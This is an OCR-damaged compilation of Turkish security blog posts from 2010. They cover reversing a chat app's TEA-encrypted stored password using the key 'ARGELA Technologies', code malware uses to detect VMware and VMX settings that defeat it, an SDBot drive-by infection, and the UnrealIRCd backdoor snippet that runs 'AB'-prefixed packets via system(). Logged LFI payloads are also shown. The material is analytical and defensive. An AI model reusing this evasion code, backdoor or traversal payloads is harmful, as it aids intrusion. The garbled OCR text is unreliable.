saklamak amaciyla kullanilan bir yazilimi inceledigimde anahtar1 goriintiileyene kadar iki defa sifre dogrulama adimindan
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geemeniz gerekiyordu. Fakat bu adimlar1 assembly seviyesinde yamadigimda (son adima gitmesini sagladim) dogrulama
mekanizmalarinin tersine miihendislik ile asilabildigini iste 0 zaman 6grenmistim.

» Kapali kaynak kodlu yazilimlardaki giivenlik agiklarini bulmak i¢in - Bildiginiz veya bilmediginiz {izere Microsoft firmasinin
o aylik meshur yama giinii gelip ¢attiginda diinyanin dort bir yanindaki merakli insanlar yamalarin farklarimi ¢ikartarak tersine
miihendislik ile gilivenlik biiltenlerine konu olmamis giivenlik zafiyetlerini ortaya ¢ikartarak istismar kodu gelistirilmesini
saglamaktalar.

e Zararl yazilimlari analiz etmek i¢in - Bu konuda ¢ok fazla s6ze gerek yok sanirim, yazilarimi takip edenler bilirler :)

» Can sikintisina karsi bire bir :) - Canim ne zaman sikilsa ve bir programi oturup incelemeye baslasam saatlerin nasil gectigin bir
tirlit anlamam, 6 saatin 6 dakika gibi gectigine ¢cok defa tanik oldugumu séyleyebilirim.

Tersine miithendislik denilince ¢ogu kiginin aklina nedense hep kod seviyesinde olani gelir fakat aslinda tersine miihendislik sistem
seviyesi ve kod seviyesi olmak iizere ikiye ayrilir ve giinliik islerinizde olduk¢a zaman zaman kullandiginiz o meshur sysinternals araglari
ile sistem seviyesinde tersine miithendislik yaptiginizin farkinda bile olmazsiniz.

Sistem seviyesinde tersine miithendislik yaparken ¢ogu bilgiye isletim sistemi {izerinden erisirsiniz ¢iinkii incelemis oldugunuz hedef
program eninde sonunda isletim sistemi ile etkilesime girer. Sistem seviyesinde tersine miihendislik i¢in kullanilan araglar regmon,
filemon, Isof, ptrace ve benzerleridir.

Kod seviyesinde tersine mithendislige ise sistem seviyesindeki yeterli olmadigi zaman bagvurursunuz ¢iinkii sistem seviyesinde bir
programa gireni, ¢ikani ve isletim sistemindeki etkilesimini gorebilirsiniz fakat aslinda o gizem dolu olup ve biten yazilimin iginde
gerceklesmektedir ve olup bitenden emin olmak igin tek seceneginiz kod seviyesidir.

Programlar1 incelemeyi seven biri olarak gegtigimiz ay Wirofon uygulamasini sistem seviyesinde incelemistim. Filemon ve regmon ile
kisa bir takipten sonra kuruldugu klasérde yer alan userSettings\loginSettings.dat dosyasi ile etkilesim halinde oldugunu gérmiistiim.
Caninim sikildig1 bir giin bu dosya ile ne isi oldugunu merak ettim ve incelemeye bagladim. Aradan kisa bir zaman gectikten sonra
programda yer alan "Beni hatirla" ve "Sifremi hatirla" segenegi isaretlendigi zaman bu dosyanin igeriginin degistigini fark ettim.
loginSettings.dat dosyasin1 metin diizenleme programi (wordpad) ile inceledigimde okunakli olmadigini yani sifrelenmis oldugunu
gordiim. Immunity Debugger ile dosya ile iliskili kisimlari inceledigimde "Not valid TEA encoded data" mesaji hemen dikkatimi ¢ekti.

SCIT "Hot walid TEA encoded data™

Bu programu inceleyene kadar TEA sifreleme algoritmasi ile ilgili higbir bilgim yoktu. (Iste tersine miihendisligin giizel yanlarindan
biride bu, mutlaka yeni birseyler 6greniyorsunuz.) Google'da ufak bir arastirma yaptiktan sonra sifreleme algoritmasi oldugunu ve
zayifliklar1 olmasi nedeniyle XTEA olarak giincellendigini ve en sonunda XXTEA olarak giincellendigini gérdiim. TEA sifrelemesi
ile ilgili internette bir ¢cok makale ve hazir kod parcaciklart oldugu i¢in loginSettings.dat dosyasinda yer alan sifreli veriyi kolaylikla
¢ozebilecegimi diisliniiyordum fakat ¢cok gecmeden yanildigimi fark ettim. TEA ve XTEA algoritmalarini inceledigimde sifrelemenin
bir boliimiinde SHL 4 (shift left, ¢arpma iglemi i¢in kullanilir) ve SHR 5 (shift right, bdlme islemi i¢gin kullanilir) dikkatimi ¢ekti fakat
sifreli verinin neden ¢6ziilmedigi ile ilgili uygulama {izerinde aragtirma yaptigimda ufak bir detay géziime ilisti.

Oncelikle sifrelemeyi ¢dzmeden sorumlu olan fonksiyona giden ve anahtar olarak kullanilan dizinin "ARGELA Technologies" oldugunu
ve bu dizinin (string) 4 parcaya boliinerek anahtar olarak kullanildigin tespit ettim.

II "ARGELA Technologiss™

Daha sonra ise sifreli veriyi ¢cozen fonksiyonu inceledigimde TEA ve XTEA algoritmasinda yer alanin aksine stackte yer alan degerlerin
bilinenin SHL 5 ve SHR 4 islemine tabi tutuldugunu gordiim.
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Internette ufak bir aragtirma yaptigimda algoritmanin bu sekilde kullanimima uzak dogu sayfalarinda rastlasamda c¢ok fazla vakit
harcamayarak sifreli veriyi ¢6zen bu fonksiyonu Python'a tagimaya karar verdim ve sonunda sifreli veriyi ¢ézmeyi basardim ve bu
vesileyle sifresini unutan Wirofon kullanicilari igin ufak bir sifre kurtarma programi (sifremi hatirla segenegini isaretlemisseniz sifreli
olarak loginSettings.dat dosyasi i¢inde saklanan sifrenizi size gosterir) hazirlamis oldum. Programa buradan ulasabilirsiniz.

HKullanici adi: http:/7vwu.mertsarica.comihttp:/swwu_hack4career.com
Sifre: wiropun

Bir sonraki yazida goriismek dilegiyle...

Anti Anti-VMware

Source: https://www.mertsarica.com/anti-anti-vmware/
By M.S on July 18th, 2010

=

Zararli yazilim analizi yapanlar i¢in sanal makina yazilimlar1 (vmmware, virtualpc, virtualbox) en biilyiik nimettir. Hi¢ bir zaman
isletim sistemi lizerinde ¢alistirmayacaginiz veya ¢alistirma konusunda tereddiit ettiginiz tehlikeli, zararli veya siipheli yazilimlart hig
cekinmeden calistirarak isletim sistemi lizerinde neler olup bittigini anlamaniza yardimeci olurlar.

Tabii bunu bilen art niyetli kisiler, islerin bu kadar kolay olmasin1 hi¢ bir zaman istemezler bu nedenle zararli yazilimlarinin sanal makina
icerisinde incelenmesini engellemek igin zararli kodlarina sanal makinay: tespit eden fonksiyonlar ekleyerek bu zararli yazilimlarin
isletim sistemi {izerinde caligmasini engellerler. Tabii kod seviyesinde tersine mithendislik konusunda uzman bir analist bu engelleri
kolaylikla asabilecegi i¢in eninde sonunda zararli yazalimlari analiz ederek mutlu sona ulasabilecektir.

Peki ya kod seviyesinde tersine miihendislik konusunda uzman olmayan bir kisi boyle bir zararl yazilim ile karsilasinca ne yapabilir ?
Tabiiki sistem seviyesinde tersine miihendislige basvurabilir.

Ornek olarak windows'un hesap makinasini internetten buldugumuz ve sanal makina tespit etme dzelligine sahip olan herhangi bir
sifreleme araci (crypter) ile sifreleyip inceleyelim.

Clown Crypter adindaki sifreleme aracini indirdikten sonra ¢aligtirip inceledigimizde hem sanal makina hem de sandbox tespit etme
ozelliklerine sahip oldugunu gorebiliyoruz.
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Calc.exe programini tiim sanal makina tespit etme segeneklerini isaretleyerek sifreledikten sonra calc3.exe adi altinda kayit ederek
VMWare iginde ¢aligtirdigimizda programin ¢alismadigini gorebiliyoruz. Peki teknik olarak bu tespit nasil gerceklestiriliyor ?

Cogunlukla bu tiir programlar arasinda en ¢ok kullanilan yontemlerden biri kayit defterindeki (registry) bazi degerleri kontrol etmek
ve VMWare, Virtual veya VBOX anahtar kelimelerini aratmaktir. Bunu teyit etmek i¢in Sysinternals'in Process Monitor yazilimi
ile calc3.exe programint hemen incelemeye baslayalim. Bilmeyenleriniz igin kisa bir agiklama, Process Monitor yazilimi, incelenen
programin dosya sistemi {izerinde gergeklestirdigi islemlerden, kayit defterinde acgtifi ve inceledigi tiim anahtarlar1 ve degerleri
gorebilmenizi saglayan faydali bir eserdir.

Calc3.exe programini Process Monitor ile inceledigimizde kayit defterinde kontrol ettigi anahtar hemen dikkatimizi ¢ekiyor.

& Process Monitor - Sysinternals: www.sysinternals.com
fle Edt Event Fiter Took COptions Help

Fd KRBE AR AN

#8 L0

Time. Piocets Name FID  Operation Path Flesut Detad ~
1702, gcakclene 4004 ‘Fteq!.'lpe-’i ey HELM\Soltware\Miciosolt\windoves NT\CumrendVerson\image File Execubion Opbone\S<.. NAME NOT FOUND Desred Access: Read
1702 gfcakcdene 4004 @RegOperkey  HELM\System\Setup SUCCESS Desired Access: Flead, WOWE4_64kKey
1702 gfcakclene 4004 @RegOpeniay  HELM\Scitware\Miciosolt\Windows NT\CumentVersion'\IMM SUCCESS Desied Access. Maamum Allowed
1702 gicakd e 4004 @ Reguerialue HELM\SOFTWARE Mictosoft\windows NT'\Cusrentersion\IMM\Ime File SUCCESS Type: REG_SZ. Length 26, Dista: mecifime me
5 calcd exe 4004 @XReglioseley  HELMASDFTWARE \Microsolt\Windows NT\CusrentVersion\ IMM SUCCESS
i calc 3 exe 4004 @Reglperkey  HELM\Software\Miciosolt\Windows NT\CurrentVersion\Image File Execution Options\ve.. NAME NOT FOUND Desied Access: Flead
5 cakcdene 4004 @ Reglpentey  HECUNS oltware\Miciosalt\Windows NT\CusterfVersion\AppCompalFlags\Layers NAME NOT FOUND Desied Access: Flead
£ cakc 3 eve 4004 @ERegpenkey  HELM\Soltware\Miciosolt\Windows NT\CusrerdVersion\image File Execution Options\ms. . NAME NOT FOUND D Read
cabc 4004 @ Reglpentey  HKCUNSOFTWARE Miciosoft\CTF SUCCESS £ Mainum Allowed
c3 ens 4004 @ Reglueralue HECUNS oftware'Miciosalt\CTP\Disable Thiead Input Manager MAME NOT FOUND Length: 144
5 cakc 3 ene 4004 @ERegliotekey  HECUNSoftwars\Miciosoft\CTF SUCCESS
#9 calcd ene 4004 @Reglpenkey  HELM\Software\Miciosolt\CTF\SystemShared SUCCESS Desired Access: Masimum Allowed
#9 calc ene 4004 @ Reguerialue HELM\SOFTWARE Miciosolt\CTF\SystemShared\CLIAS SUCCESS Type: REG_DWORD. Length: 4, Data 0
1 calc3 e 4004 @Regliosekey  HELM\SDFTWARE \Microsol\CTF\SystemShared SUCCESS
£ calcd eve 4004 @EReglpentey  HECUNS oltware'Miciosclt\windows NT\CumeniVersion'\AppCompaiFlags'\Lapers MAME MOT FOUMND Desired Access: Read
# cakcdexe 4004 @RegOperkiey  HELM\System'\CumentContiofSet\ContiohNis\Codepage SUCCESS Desited Access: Flead
5 cacd ene 4004 @ FlegQuanialue HELM\System'\CunentControlSei\ContiohNis\CodePage\ 312 SUCCESS Type: REG_SZ, Length: 20, Data ¢_532 rs
# calcd ewe 4004 @XFegOueniaiue HELM\System'\CunentControlSet\Controh Nis\CodePage\343 SUCCESS Type: REG_SZ. Length: 20, Data c_943rks
#5 calcd exe 4004 @ Regluenialue HELM\System\CunentControlSsi\ConbiohNis\CodeP age\350 SUCCESS Type: REG_SZ. Length 20, Dats c_950.nks
£ calcd eve 4004 @ Regluenialus HELM\System\CuneniControlSel\Contro\Nis\CodePage\336 SUCCESS Type: REG_SZ. Length: 20, Dater ¢_936.ris
7 calc eve 4004 @XReglpendey  HELM\SOFTWARE \Microsoft\VBA\Manitors NAME NOT FOUMD Desied Acc M anamum Alloved
7 calcd e 4004 @Reglperkey  HKLM\SOFTWARE \Microsolt\VBA\Monitors MNAME NOT FOUND Desied Access: Maamum Allowed
5 calc 3 eve 4004 @RegOpeniey  HELM\Systam\CuneniContiolSet\S ervices\Disk\E num SUCCESS Desied Acce:s: ead
i calc 3 ene 4004 @XFegOuenialue HELM\Syeterm\CuneniContiolSel\Service \E 0 BUFFER OVERFL . Length: 144
T gfcakcliens W04 @ FegliuenVahie AELM S ysiem\CuneniContiob el s ervce SUCCESS  Type AEG_GZ Length 136, Dala SLSI\Drkiven_VMware_bProd VMware_vitual_SbHev_
£ calc3 ene 4004 @EReglueralue HELM\System\CumrentContiolSel\S ervice: BUFFER OVERFL .. Length: 144
gcatfeue 4004 @ RegQuenivalus HELM\System\CuneniContiolSet\Service A SUCCESS Type REG_SZ. Length 136, Data: SCSI\DiskiVen VMware LPiod ViMware Vitual StRev_
# calc ene 4004 @Reglioseliey  HELM\System\CunentContiolS sl\S envices \Disk SUCCESS
=T 4004 ‘F.egl:lpeﬁ ey HELM\Solftware\Miciosoft\windove: SUCCESS Desied Acce:s: Read
i calc3 exe 4004 @RegOpenkey  HELM\SOFTWARE WMicrosof\windows\HTML Help SUCCESS Desied Access: Read
# cakcl ens 4004 @Regluenialue HELM\SOFTWARE Microsolt\Windows\HTML Help\ HLP MAME MOT FOUND Length: 144
# cokcdexe 4004 @ Reglloseey  HELM\SOFTWARE Microsolt\Windows\HTML Help SUCCESS
757 caic ) ewe 4004 @EReglioseley  HKLM\SOFTWARE WMicrosoft\windows SUCCESS
1 cakcd ene 4004 @RegDperkey  HKLM\Software\Miciosolt\Windows SUCCESS Desred Access: Fead
5 calcd exe 4004 @Fleglperkey  HELM\SOFTWARE Microsolt\windows\Help MAME NOT FOUND Desied Access: Read
9 cakc3 eve 4004 @Reglloseliey  HKLM\SOFTWARE Mictosoft\Windove: SUCCESS
5 calcd ene 4004 @Reglpeniey  HILM\Scltware\Miciosolt\Windows NT\CumenfVersion\GRE_lnitiskcs SUCCESS Desied Access: Read
4 cakcd exe 4004 @ Regluer®alue HKLM\SOFTWARE MicrosoltWWindows NT\Custentersion\GRE _Intiskize\DisableMetaf  NAME NOT FOUND Length: 20
17.02 ﬁ calclens AD04 5Feg:b:d ey HELM\SOFT'WARE ‘\Microsolt\windoves NT\CurrenfY ension\GRE _Intiakze SUCCESS o

Showing 854 of 9.344 events (9.%)

Backed by C:\Documents and Settings!|Administr ator\Desktoplantivin_logfile. PML

Ilgili anahtarda gegen VMWare ile Virtual anahtar kelimelerinin degistirdigimizde (VMWare -> MWare, Virtual -> irtual) ve programi
calistirdigimizda programin basariyla ¢alistigini gérebiliyoruz.

Yukaridaki yontemi kullanan 6rnek fonksiyon:

Publ i c Function IsVirtual PCPresent() As Long

Di m | hKey As Long
Di m sBuf f er As String
Dim | Len As Long

I f RegQpenKeyEx(&H80000002,
0, &H20019,

| hKey)

= 0 Then
| Len = 255

" SYSTEM Cont r ol Set 001\ Ser vi ces\ Di sk\ Enunt',

sBuf fer = Space$(255):
| f RegQueryVal ueEx(l hkey, "0", 0, 1, ByVal sBuffer,
sBuf fer = UCase(Left$(sBuffer, |Len - 1))

I Len) = 0 Then
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Sel ect Case True
Case sBuffer Like "*VI RTUAL*":
Case sBuffer Like "*VMMRE*":
Case sBuffer Like "*VBOX*":
End Sel ect
End |f
Cal | RegC oseKey( | hKey)

End |f

End Function

I sVi rt ual PCPr esent
I sVi rt ual PCPresent
I sVi rt ual PCPr esent

N

Art niyetli kisiler tarafindan sanal makina tespiti i¢in kullanilan diger bir yontem ise VMware Backdoor 1/0 Port. VM Ware Backdoor ?
Evet aynen 0yle, VMWare, sanal makina ile port 0x5658 baglanti noktasindan haberlesmek icin 6zel olarak tasarlanan bir arka kapi

kullanmaktadir. Bu arka kapida kullanilan baglanti noktasinin sahte oldugunu ayrica belirtmek isterim.

Art niyetli kisiler tarafindan kullanilan 6rnek fonksiyon:

bool [ sl nsideVMAare()

{

}

bool rc = true;
__try
{

{

push edx

push ecx

push ebx

mov eax, ' VMXh'

mov ebx, 0 // any value but not the MAG C VALUE
mov ecx, 10 // get VMMre version

mov edx, 'VX' // port nunber

in eax, dx // read port

/1 on return EAX returns the VERS|I ON

cmp ebx, "VMXh' // is it a reply from VMAare?
setz [rc] // set return value

pop ebx

pop ecx

pop edx

}

asm

__except (EXCEPTI ON_EXECUTE_HANDLER)

rc = fal se;

return rc;

Neyseki buna karsi VM Ware iizerinde ufak bir konfigiirasyon degisikligi yaparak VM Ware'in tespit edilmesini 6nleyebilirsiniz. Bunun

icin yapmaniz gereken sanal makinaya ait olan VMX dosyasina agagidaki parametreleri eklemek olacaktir.

isolation.tools.getPtrLocation.disable = "TRUE"
isolation.tools.setPtrLocation.disable = "TRUE"
isolation.tools.setVersion.disable = "TRUE"
isolation.tools.getVersion.disable = "TRUE"
monitor control.disable directexec ="TRUE"
monitor control.disable chksimd ="TRUE"
monitor control.disable ntreloc ="TRUE"
monitor_control.disable selfmod = "TRUE"
monitor_control.disable reloc = "TRUE"
monitor_control.disable btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable btpriv = "TRUE"
monitor_control.disable btseg = "TRUE"
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VMWare lizerinde zararli yazilim incelemek isteyenler i¢in engel teskil edebilecek bu iki yontemi asmanizi saglayan bu yazi umarimki
faydali olmustur. Sanal makina tespit tontemlerinin bu iki tanesi ile sinirli kalmadigini hatirlatir, bir sonraki yazida goriismek dilegiyle
herkese iyi haftasonlar1 dilerim...

Riorey.com.tr Hacklendi

Source: https://www.mertsarica.com/riorey-com-tr-hacklendi/
By M.S on June 29th, 2010

P

Huzeyfe bugiin yayinladigi bir yazi ile Tiirkiye’de de ofis agmig olan DDoS {iriin gelistiricisi Riorey firmasinin TR uzantili web sitesinin
hack edildigini duyurdu. Duyurmakla yetinmeyerek beni kaka yazilim inceleme uzmani olarak lanse ederek benden bu siteye art niyetli
kisiler tarafindan yiliklenmis olan zararli yazilimi incelememi talep etti ve bende alet cantamu kaptigim gibi olay yerinde incelememi
gergeklestirdim.

Aslinda zararli yazilim siteye direk olarak yliklenmemis sadece zararlt yazilimi igeren baska bir siteye frame agilmisti.

*’:,[l_l http:ifwww.riarey.com. 1/ - Windows Internet Explorer [#] - [ _‘.
g 3 - g Fiorey, com,tr v =l eellxl e
i Favorkes (@ Hitp: ffwwenm riorey comtrf &8 Y v Page~ Safety~ Tooks- = >

ddos yemeven site hacklenmeye mahkumdur demekki agiklanma kapatm HeuRisTiC Tr Degil Sadece Dunya Markas: Misafirperverhiginiz icin tegekdairler

a2 [#] hitp:/hwww.riorey.com.trl - Original Source [#]

@ treermet a- A% -

Frame agilan asil siteyi ziyaret ettigimde ise son zamanlarda oldukga sik rastladigim, daha dnceki zararli yazilim analizlerinde de bir
¢ok defa yer verdigim ve Drive by download ydontemiyle kullanicilarin igletim sistemine bulagan bir trojan ile karsilastim.
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‘;;, v g survivorkadinlarerkekler com v K

Favorkes £ Newi Porn Videos Archive T I M - Page- Safety=- Ti

Adult Star Porn Archive

! E Bu Sitede Sall T1kamak Yasskt 1r|

Q http:iisurvivorkadinlarerkekler.com/show. php - Original Source

Ble Edt Format

Her ne kadar sayfanin kaynak kodunda Encrypted yaziyor olsada Hex Editor ile degerleri inceledigimde 6yle olmadigini gérdiim. Daha
onceki yazilarimi takip edenleriniz var ise link.jar ve Inicio.class JAVA dosyalarini animsayacaklardir.

H Hex Warkshop - [exploit.exe]

fle Edt [k Optiors Tooks Window Hsp

ISHBH SE REBE RPD %% BH &= O
Palc MNe9e @R
1]
oooooooo | 3E 61 3E 74 71 78 2F 7
2D 62 64 20 0r 6F 3A 2
or b6F B2 63 6E 2D 6F
30 30 oD 79 65 6E 2D 69
78 2E 74 DA 63 20 46 n
66 2D 21 7 or 73 79 BS
13 4 66 6D 61 09 74
32 70 3B DA 2F 3E 65
69 74 3 63 7 2 69 &F 64
6B 6B 2E 0 0 JE 2F 69
oD &9 30 63 6E 65 22 20
77 3D 73 79 75 74 3 61 20 5E ">Adult Star Po:
3 65 F 3E 0A 20 20 ic 69 65 b titlell
F 56 64 6F 20 3C 74 74 65 oD oD Videos Archive<-title’..
70 74 BE 6D D 61 i1 49 79 B0 ; applet name="Videolarl Iz
0 7 6E 4A L] 79 20 74 65 20 65 69 k 0.in Javayl Aktif
20 75 20 &C 61 65 2 BE 63 63 61 73 20 r Run Please" c
72 3D c E 68 69 68 3 22 77 * height="10"
68 22 oD 1] 20 b1 2 61 2 7 22 name="ur.
6C 22 74 1] 2F B6F 64 6B .
b5 6F 9 (37 oD . 20 1 13 ler.com-video.exe
DA 2F 0A 20 3 62 74 74 o5 : Py ..
68 4 3A 2E 63 6L 76 6D 6C 79 "http:
72 73 b6 65 65 bl 65 bE ZE er.swi?image=htt
72 2F B 73 70 A 67 70 7 85 69 org/images/pla
[ 6F (3: ; 70 2B 20 64 22 69 d=cockiebamp:v
-_:i: expilod sxe
% ot set: 0 [0x00000000] % TFind Resuts "
T Sinrwerd Rt i Ardeacs 8, anvich 1, | mrwkh %,
4 Data Inspector I{}S]ru{'.urt‘- Viewer | 34 Compare | i Checksum @l Find | 4 Bookmarks (5] Output ]
Fieady Offset: 0DD0DOD0  Value: 26684 2515 bytes v

Yine daha dncekiler ile ayn1 yontemi izleyen art niyetli kisiler, siteyi ziyaret eden kullanicilarin gecerli imzasi olmayan link.jar JAVA
uygulamasini ¢alistirmaya zorlamakta ve uyariy1 gormezden gelerek kabul eden kullanicilarin igletim sistemine trojani yiikklemekteler.

Video.exe adindaki zararli yazilimi ¢alistirdigimda kargima ilk olarak ASProtect ile paketlenmis olduguna dair bir uyar1 mesaji ¢ikti.
ASProtect ¢ogunlukla art niyetli kisilerce zararli yazilimlarinin Antivirlis yazilimlar tarafindan yakalanmasini engellemek amaciyla
kullanilmaktadir.
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UNREGISTERED VERSION

'E This program has been protected by unregistered version of ASProtect Software Protection System
IT'S NOT LICENSED FOR DISTRIEUTION!

This message will not appear on programs protected by a reqistered wersion of ASProtect

Bu mesaj1 gegtikten sonra bu defa hemen hemen ¢ogu zararli yazilimda ayarlanan sahte hata mesaji (Picture can not be displayed.) ile
karsilastim. Bu mesajida gegtikten sonra bu defa yazilimin kendisini alvil.exe ad1 altinda Windows\system klasorii altina kopyaladigini
ve ayrica Windows yeniden bagladiginda her defasinda tekrar ¢alisabilmek i¢in kendisini kayit defterinde (registry) HKLM/Software/
Microsoft/Windows/CurrentVersion/Run altinda Windows UDP Control Center anahtar1 olarak kayit etmektedir.

£ Registry Editor
Fle Edt Vew Favortes Help
= (] CurrentVersion A Name Type Data

# [ App Management
# ) App Paths
# (] Applets

(b Def auit) REG_SZ
Abladcbe Reader Speed Launcher  REG_SZ

{wakue not set)
“C:\Program Files\Adobe|Reader 9.0\Reader\Raader_,.,

.
+

() BITS

] Control Panel
() Controls Folder
(L3 CSCSattings

ab)sunavalipdateSched
uinlockerAssistant
aB]yMware Tooks

.ﬂm«ae User Process

8] windows LDP Control Center

REG_SZ
REG_SZ
REG_SZ
REG_52
REG_SZ

“iC:\Program Files\Common Fles| laval lava Lipdate!jus
“C:\Program Files\Linkocker|Unlocker Assistant axe™
“C:\Program Files\yYMware|Viheare Tooks|YMwareTray....
"C:\Program Files|Mwarel YMhware Tooks|VMwarelser...,
ahvil.exe

# ) DateTime
(] Dynamic Directory
# (] Explorer
& O et
(] Extensions
# [ Group Policy
) HazaTsP
] Hints
# (] Installer
] Internet Settings
) PConfTSP
# ] Modulelisage
% (] M5-00S Emudation
) MSSHA
& TN
] Optimallayout
# | PhotoPropertyHandier
# ] polcies
] PreviewHandlers
# (] PropertySystem
(2] Reinstad
# () Relisbiity
= 23 hun
= ] OptionalComponents
£ ™AL
23 mapt
] Ms5FS
) RunOnce
([ RunOnceEx
# ] Setup
) SharedDls

*

My Computer|HKEY_LOCAL_MACHINE\SOFTWARE |Microsoft 3 e

Wireshark yazilimi ile trafigi inceledigimde alvil.exe adindaki yazilimin facebook-pic.co.cc alan adin1 ¢dziimledigini ve daha sonra ilgili
IP adresine 4455 numarali baglanti1 noktasindan (port) baglanmaya calistigini gordiim.

Bu zararli yazilimi debugger ile inceledigimde ise "Lamer detected. coming back in 24hrs, download and update" metni ve IRC (Internet
Relay Chat) komutlar1 dikkatimi ¢ekti. Bu metni arama motorunda aratti§imda ise karsima ¢ikan ilk kayit ise bunun SDBot adinda bir arka
kap1 yazilim1 oldugunu ortaya ¢ikartti. Bu botun temel amaci art niyetli kisi tarafindan belirtilen IRC sunucusuna baglanmakta ve hedef
sistemde calistirmak iizere art niyetli kiginin komut gondermesini beklemektedir. Verilen komut ile hedef sistem iizerine farkli zararl
kodlar yliklemek miimkiindiir. Ayrica bu bot spam yapmak ve kendisini ¢ogaltmak amactyla MSN iizerinden mesaj gonderebilmektedir.

Bu site tizerinde yer alan zararli yazilim tarafindan etkilendiginizden siiphe ediyorsaniz Windows\system klasorii altinda yer alan
alvil.exe adinda dosyanin varligimi kontrol etmenizi oneririm. Kurumlar igin ise www.facebook-pic.co.cc alan ad1 i¢in gegmiste ve
gelecekte yapilan DNS sorgularini kontrol etmelerini ve ayrica 85.1/53.32.69 1P adresine dogru gerceklesen tiim baglantilart tespit
etmelerini oneririm.

Bir sonraki yazida goriigmek dilegiyle...

Lord of the Bots

Source: https://www.mertsarica.com/lord-of-the-bots/
By M.S on June 26th, 2010

e

DDOS saldirilari ile ilgili internette ufak bir arastirma yapacak olursaniz sayisiz habere rastlayabilirsiniz. Haberlerden bazilar saldirtya
maruz kalan dev firmalarin saatler boyunca miisterilerine hizmet veremedigi, ne kadar maddi zarar ile karsi karsiya kaldig ile ilgiliyken
bazilarmin ise DDOS bot aglarin1 yoneten bot efendilerinin (bot master) yakalanmalari ve aldiklar1 hapis cezalari ile ilgili olduklarini
gorebilirsiniz.
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DDOS nedir, nasil gerceklesir, ne kadar zarara yol agar, korunmak miimkiin miidiir, korunma ydntemleri nelerdir gibi bir ¢ok sorunun
yanitin1 Huzeyfe bu zamana kadar bir ¢ok defa yanitladigi i¢in ben konuyu bagka bir agidan ele almaya karar verdim. Genelde konu
DDOS olunca bir cogumuz bu saldirtya maruz kalma ihtimalinin oldukga diisiik oldugunu ve bizim i¢in bir tehdit olmadigini diisliniiriiz.
"Kim nereden 100 tane DDOS botunu bilgisayarlara yiikleyecekte, bize diisman olacakta kalkip bize saldiracak” seklinde sayisiz senaryo
iireterek sonunda "kimse bununla ugragmaz" diyerek hayatimiza korunmasiz olarak devam ediyoruz. Peki gercekten de art niyetli
kisilerin DDOS saldiris1 gergeklestirmek i¢in 100 tane botu bilgisayarlara yiiklemek i¢in ugrasmalarina gerek var m1 ? Gergekten tehdit
olarak goriilmeli mi ? Iste bu yazimda art niyetli kisi veya kisilerin DDOS saldiris1 gergeklestirmek igin gerekli alt yaptya sahip olmalarina
gerek olmadigindan kisaca bahsedecegim.

IRC sunucular ile gegmiste deneyimi olanlar var ise Unreal IRCD yazilimmi eminimki duymuslardir. 12 Haziran tarihinde Unreal
IRCD yansi (mirror) sunucularindan bir kagindaki kaynak kodunda arka kapi1 kesfedildigi Unreal IRCD resmi forum sayfasi iizerinden
tiim diinyaya duyuruldu. Isin ilging yani ise arka kapinm 2009'un Kasim ayindan bu yana kimse tarafindan kesfedilmemis olmastyd.
Arka kapinin ne i yaptiginit merak edip hemen zararl koda sahip olan Unreal IRCD kaynak kodunu indirdim ve incelemeye bagladim.
Istismar kodunun bir ¢ok sitede yer almasi nedeniyle zararli kodu kesfetmek icin diinyay1 yeniden kesfetmeden hemen ilgili satirlara
hizlica goz attim.

include/struct.h

#ifdef DEBUGMODE3
#define DEBUGMODE3 INFO "AB"
#define DEBUG3 LOG(x) DEBUG3 DOLOG SYSTEM (x)

#endif

#define DEBUG3 DOLOG SYSTEM(x) system(x)

src/s_bsd.c

#ifdef DEBUGMODE3
if ('memcmp(readbuf, DEBUGMODE3_INFO, 2))
DEBUG3_LOG(readbuf);

#endif

Gortldigi tizere s_bsd.c kaynak kodunda yer alan read packet fonksiyonunun igine gdmiilmiis olan bu zararli kod, irc sunucusuna
gonderilen her paketin ilk 2 karakterinin AB olmas1 durumunda ilgili paketi (komutu) system fonksiyonuna yonlendirerek hedef sistem
iizerinde komut ¢alistirilmasina imkan taniyordu.

Istismar kodunu inceledigimde ise bot.txt ve r.txt kodlarmi igeren sitenin yaymlandan kaldirilmasi nedeniyle hiisrana ugradim ¢iinkii
inceleyecek zararli kod ortadan kalkmisti. Istismar kodu incelendiginde aslinda bu iki dosyanin ne ise yaradigi hemen hemen belli
oluyordu, Perl ile yazilmis ve hedef sisteme baglanmaya yarayan iki shell kodu ve ayrica bir de bot. Isin iginde bot varsa olsa olsa DDOS
botu olarak kullanildigindan siiphe ederek dosya adlarini arama motorlarinda aramaya bagladim. Bir kag arama sonrasinda istatistik
sayfasi internete agik olan bir sunucu ile karsilastim ve burada bu sunucuya benzer dosya uzantisiyla (id.txt, c.txt, bot.txt vs.) istekte
bulunan bir ¢ok kayda rastladim.
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C # & nhp/f J-stat LS @ G- &~

L 1 (] Other bookmarks
218.150.85.170  Tundmatu  Tundmatu faix finde findex Fod sl sl ol wcd sl sol ol wcl sul saf o] o . [ proc | self | environtu00 22723 J
174.142.53.238 Tundmaty  Tundmaty {aux/index.phpleh /1] index.ph fi d= sl ok ol sl sl wlsel sl ol ol ool sl ool ol oo/ proc salf { anviron¥b00 1:28:55
218.38.243.71  Tundmatu  Tundmatu i Ber=..fcof scl ol el el ocl ol sl sullccl ol we voll oo proc] self [ environou00 23:23:23
67.15.152.183  Tundmatu  Tundmatu [ i ind T R e i i 22:41:10
| 208.43.133.147  Tundmatu  Tundmatu Jmi i hphet t/ /index2.ph ledownload Ber=.. ol sul esl el ol sel col ol ol sell cel sl ool oo/ prOE] S0l | @OViFORIR00 22:16:44
66.249.71.36  Tundmatu  Netscape i 2211041
80.60.71.142 o Tundwmat -y - 1 Tk - Sedownioad: ulle j.tj:l:_;_.ft:c:c;- Ji 21:28:04
87.253.162.10  Tundmatu  Netscape fix i hp ek /s lendar/ ¢ h fig_absol _,-n-=.m'ﬂn 2003010 _|
209.90.77.189  Tundmatu  Tundmatu i ol sl sl s sl sl ol sclsulsel ol sul oo f o[ proc | self | environte00 19:05:16
64.120.171.42  Tundmate  Tundmatu [ aix [ index.php ek /*Top i ar=../ ol vl el okl cod ol wid ol vof ool vof o] . [ proc | salf [ anviron 300 18:55:17
83.125.73.41 i f h ! it I X/ /2.txt?
67.212.185.202 Tundmatu  Netscaps [ awx/ findex.ph b L rb [ Cherid 1. txt 77 18:43:38
67.212.185.202 Tundmatu  Netscape [ aix[index.phpHleht=stat/ /index.ph s far=f Y Choridi.oar? 18:43:38
67.212.185.202 Tundmatu  Netscape i /index. txt?? 18:43:38
